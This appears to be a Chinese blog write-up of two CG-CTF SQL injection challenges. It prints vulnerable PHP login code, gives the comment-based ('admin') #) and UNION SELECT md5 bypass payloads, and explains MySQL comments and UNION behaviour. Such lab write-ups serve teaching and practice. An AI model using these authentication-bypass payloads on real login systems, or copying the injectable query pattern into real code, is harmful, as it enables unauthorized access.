CG-CTF SQL注入
SQL注入1
题目
访问题目网址
先查看一下源码
仔细分析一下核心源码
<?php if($_POST[user] && $_POST[pass]) { //判断user和pass两个变量不为空 mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); //连接数据库 mysql_select_db(SAE_MYSQL_DB); //选择要使用的库 $user = trim($_POST[user]); //去除输入的user变量两侧的空白字符 $pass = md5(trim($_POST[pass])); //去除pass变量两侧空白字符再进行md5加密 $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; //根据输入的user和pass构造查询语句 echo '</br>'.$sql; //回显查找语句 $query = mysql_fetch_array(mysql_query($sql)); //使用构造的查询语句查询数据库并返回结果集 if($query[user]=="admin") { echo "<p>Logged in! flag:******************** </p>"; } if($query[user] != "admin") { echo("<p>You are not admin!</p>"); } //判断结果集中的user参数对应的值是不是admin,如果是返回flag,不是则返回 You are not admin! } echo $query[user]; //回显查询到的user值 ?>
通过分析源码知道了user
的值为admin
,因为sql查询语句里有and,必须and前后同时成立才可以查询,但是现在不知道pass
对应的值,所以考虑能不能不判断pass,直接判断user,于是想到是不是可以将user判断语句闭合并注释后面的内容,这样就不会对pass进行判断,pass就直接输入111
,于是构造下面的语句。
这样的话查询语句就变成了
select user from ctf where (user='admin') #') and (pw='111')
尝试提交看看会不会返回flag。
成功拿到flag
补充:Mysql的注释语句有三种
1./* */
注释一段内容,这里明显不适用。
2.--
注释-- 后的语句直到行尾,注意这里的--后面要有一个空格,但是题目中使用了trim()函数去除空格,所以也不适用。
3.#
注释#后的语句直到行尾。
SQL注入2
题目
访问题目网址
还是先查看一下源码
分析核心源码
<?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS); mysql_select_db(SAE_MYSQL_DB); $user = $_POST[user]; $pass = md5($_POST[pass]); $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'")); if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { echo "<p>Logged in! Key: ntcf{**************} </p>"; } else { echo("<p>Log in failure!</p>"); } } ?>
找到最关键的语句
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) { echo "<p>Logged in! Key: ntcf{**************} </p>"; } else { echo("<p>Log in failure!</p>"); }
解题思路:
1.可以看到这里只对密码进行了对比,没有进行user的对比,所以应该考虑怎么使得$query[pw]
存在且strcasecmp($pass, $query[pw]))
为假。
2.$query[pw]
是MySQL查询结果集中的值,只要MySQL语句返回值即可存在。
要使strcasecmp($pass, $query[pw])
为假,就要使得$pass
的值小于等于$query[pw]
(比较ASCII码)。$pass
是我们输入值的md5值,$query[pw]
是数据库中的正确密码。因为$pass
是md5值,32位,而$query[pw]
不知道,所以看看能不能将$query[pw]
的值构造成我们需要的32位,且大于$pass
的值,根据题目的提示,考察union联合查询,尝试构造如下语句:
select pw from ctf where user=''union select md5(2)#'
这个语句的输出因为闭合了user,user为空,查不到任何值,而后面select md5(2)
,则会返回2的md5值,所以返回的结果会变成下面这样:
+----------------------------------+ | pw | +----------------------------------+ | c81e728d9d4c2f636f067f89cc14862c | +----------------------------------+
这样从$query[pw]
查询到的值就会变成2的md5值,这时我密码输入2,这样经过strcasecmp()
函数的对比会返回0,达到目的。
成功拿到flag
补充:
1.strcasecmp(str1,str2)
函数
strcasecmp(str1,str2)
函数返回的结果是比较两个字符串的ASCII码,从第一位开始,相等就比较下一位,如果比较过程中,一旦出现str1的某一个字符的ASCII码和str2的不等,那么将返回这两个字符的ASCII码值之差。
2.union联合查询
当使用union联合查询时,前一个select查询的列名将会作为输出结果的列名,后一个select只会返回查询列的内容,而没有列名。
union前后查询列名一致
mysql> select * from t2; +----+-------+ | id | score | +----+-------+ | 1 | 33 | +----+-------+ 1 row in set (0.00 sec) mysql> select * from t5; +-----------+---------+------+ | user | pw | id | +-----------+---------+------+ | admin | 000000 | NULL | | admin2 | 1000000 | NULL | | gubeiqing | gu | 10 | +-----------+---------+------+ 3 rows in set (0.00 sec) mysql> select id from t2 union select id from t5; +------+ | id | +------+ | 1 | | NULL | | 10 | +------+ 3 rows in set (0.00 sec)
union前后查询列名不一致
mysql> select * from t2; +----+-------+ | id | score | +----+-------+ | 1 | 33 | +----+-------+ 1 row in set (0.00 sec) mysql> select * from t5; +-----------+---------+------+ | user | pw | id | +-----------+---------+------+ | admin | 000000 | NULL | | admin2 | 1000000 | NULL | | gubeiqing | gu | 10 | +-----------+---------+------+ 3 rows in set (0.00 sec) mysql> select id from t2 union select pw from t5; +---------+ | id | +---------+ | 1 | | 000000 | | 1000000 | | gu | +---------+ 4 rows in set (0.00 sec)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
2018-07-26 OSPF单区域配置